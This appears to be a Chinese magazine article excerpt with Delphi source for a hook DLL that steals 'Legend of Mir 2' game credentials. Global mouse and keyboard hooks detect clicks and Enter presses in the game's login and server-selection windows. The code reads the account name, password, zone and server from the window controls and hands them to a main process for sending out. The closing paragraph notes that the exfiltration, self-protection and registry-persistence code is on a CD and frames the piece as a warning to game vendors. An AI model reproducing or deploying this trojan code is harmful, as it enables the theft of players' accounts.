unit unitHook;

interface
 ……
function EnableHook:Boolean;stdcall //有效钩子程序
function DisableHook:Boolean;stdcall; //无效钩子程序
……
implementation
……
//列举子窗体的回调函数
function EnumChildWindowsProc(hChild: HWnd): Boolean; stdcall;
var
szClassName: array[0..255] of char;
begin
Result := True; //设定为True才会再找下一个
GetClassName(hChild, szClassName, 255);
if StrPas(szClassName)='TEdit' then begin
 inc(numEdit);
 if numEdit=1 then
 hEdit2:= hChild //密码
 else if numEdit=2 then
 hEdit1:= hChild //账号
end;
end;

//取密码
procedure GetPassword;
var
ss,ID,PW:string;
begin
numEdit:=0;//识别TEdit控件数量
EnumChildWindows(hActiv, @EnumChildWindowsProc, 0);//列举控件
if numEdit=2 then begin
 ID:=trim(GetCaption(hEdit1));
 PW:=trim(GetCaption(hEdit2));
 if (ID<>'')and(PW<>'') then begin
 nNext:=3;
 ss:=Format('账号=%s,密码=%s',[ID,PW])+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now);
 StrCopy(@pShMem^.Text,PChar(ss));
 PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 2, 2); //通知
 end;
end;
end;

//取服务器名
procedure GetServerName;
const
x1=310;x2=477;
y1=144;
d=3; //服务器名按钮间隔
step=42; //服务器名按钮步长
var
P : TPoint;
yy, n1, n2 : integer;
IniFileName, Ident, ss : string;
begin
GetCursorPos(P); //获取当前鼠标的坐标
if (p.X<x1) or (p.X>x2) or (p.Y<y1) then exit; //鼠标点击不在服务器名的区域中

yy:=p.Y-y1;
n1:=yy div step;
n2:=(yy+d) div step;
if n1=n2 then inc(n1)
else n1:=0;

if n1=0 then exit; //鼠标点击不在服务器名上

IniFileName:=ExtractFilePath(ParamStr(0))+'ftp.ini';
Ident:='server'+IntToStr(n1)+'caption';
ss:=ReadStringFromIniFile(IniFileName,Ident);
if ss<>'' then begin

ss:=ss+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now);
 StrCopy(@pShMem^.Text,PChar('服务器='+ss));
 //PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 2, 2); //通知
 PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 10, 2); //通知取信息,并反馈发送
end;
end;

//鼠标钩子过程，由判断鼠标的动作来决定writetotxt
//参数分别是钩子代码，wParam鼠标消息号，lParam指向一个MOUSEHOOKSTRUCT （包含了有关鼠标事件的信息）
function MouseHookPro(iCode:integer; wParam:wparam; lParam:lparam): LResult;stdcall;export;
var
hControl : HWND;
WinClass, WinText, ss : string;
P:TPoint;
rcWin:TRect;
begin
if (iCode=HC_ACTION) and (wParam=WM_LBUTTONUP) then begin//如果是鼠标单击的消息
 hActiv:=GetActiveWindow;
 WinClass:=GetClass(hActiv);
 if Uppercase(WinClass)='TFRMMAIN' then begin
 WinText:=GetCaption(hActiv);
 if WinText='传奇客户端' then begin
 hControl:=FindWindowEx(hActiv,0,'TComboBox',nil);
 if hControl<>0 then begin //是区号选择窗口
 GetWindowRect(hActiv,rcWin);
 P.X:= PMouseHookStruct(lParam)^.pt.X - rcWin.Left;
 P.Y:= PMouseHookStruct(lParam)^.pt.Y - rcWin.Top;
 if(P.X>=200)and(P.X<=280)and(P.Y>=348)and(P.Y<=380)then begin//“确认”按钮
 ss:='区号='+GetCaption(hControl)+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now);
 StrCopy(@pShMem^.Text,PChar(ss));
 PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 2, 2); //通知
 end;
 end;
 end else if WinText='legend of mir2' then begin
 if nNext=3 then begin
GetServerName; //取服务器名,与下段先后顺序不能颠倒
 nNext:=0;
 end;

 P:=PMouseHookStruct(lParam)^.pt;
 if(P.X>=421)and(P.X<=501)and(P.Y>=336)and(P.Y<=371)then //[提交]按钮
 GetPassword; //取密码,与上段先后顺序不能颠倒

 end;
 end;
end;

Result:=CallNextHookEx(mousehook,iCode,wParam,lParam);
end;

//键盘hook，wParam 键ASCII码
function KeyboardHookPro(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
stdcall; export;
var
WinClass, WinText : string;
begin
if (iCode=HC_ACTION) and
 ((lParam and $80000000)=0) and //$80000000键盘掩码常量
 (wParam=$0D) then begin //$0D回车键
 hActiv:=GetActiveWindow;
 WinClass:=GetClass(hActiv);
 WinText:=GetCaption(hActiv);
 if (Uppercase(WinClass)='TFRMMAIN')and(WinText='legend of mir2') then begin
 GetPassword;//取密码
 end;
end;

Result := CallNextHookEx(keyboardhook, iCode, wParam, lParam);
end;

//有效钩子程序
function EnableHook:boolean;stdcall;export;
begin
if mousehook=0 then
 mousehook:=SetWindowsHookEx(wh_mouse,MouseHookPro,HInstance,0);//鼠标钩子
if keyboardhook=0 then
 keyboardhook:=SetWindowsHookEx(wh_keyboard,KeyboardHookPro, hinstance,0);//键盘钩子

Result:=(mousehook<>0)and(keyboardhook<>0);
end;

//无效钩子程序

由于篇幅原因，笔者在文中只讲述了截取“传奇”游戏用户名、密码、区域、服务器等信息的关键代码，关于发信部分以及自我保护，修改注册表及文件关联的代码就不在这里细讲，完整代码已经防在光盘，并且已配有详细的注释，有兴趣的朋友可以查看，希望游戏厂商能加入反木马技术，使各位玩家不再受木马之苦，顺祝各玩家玩得愉快。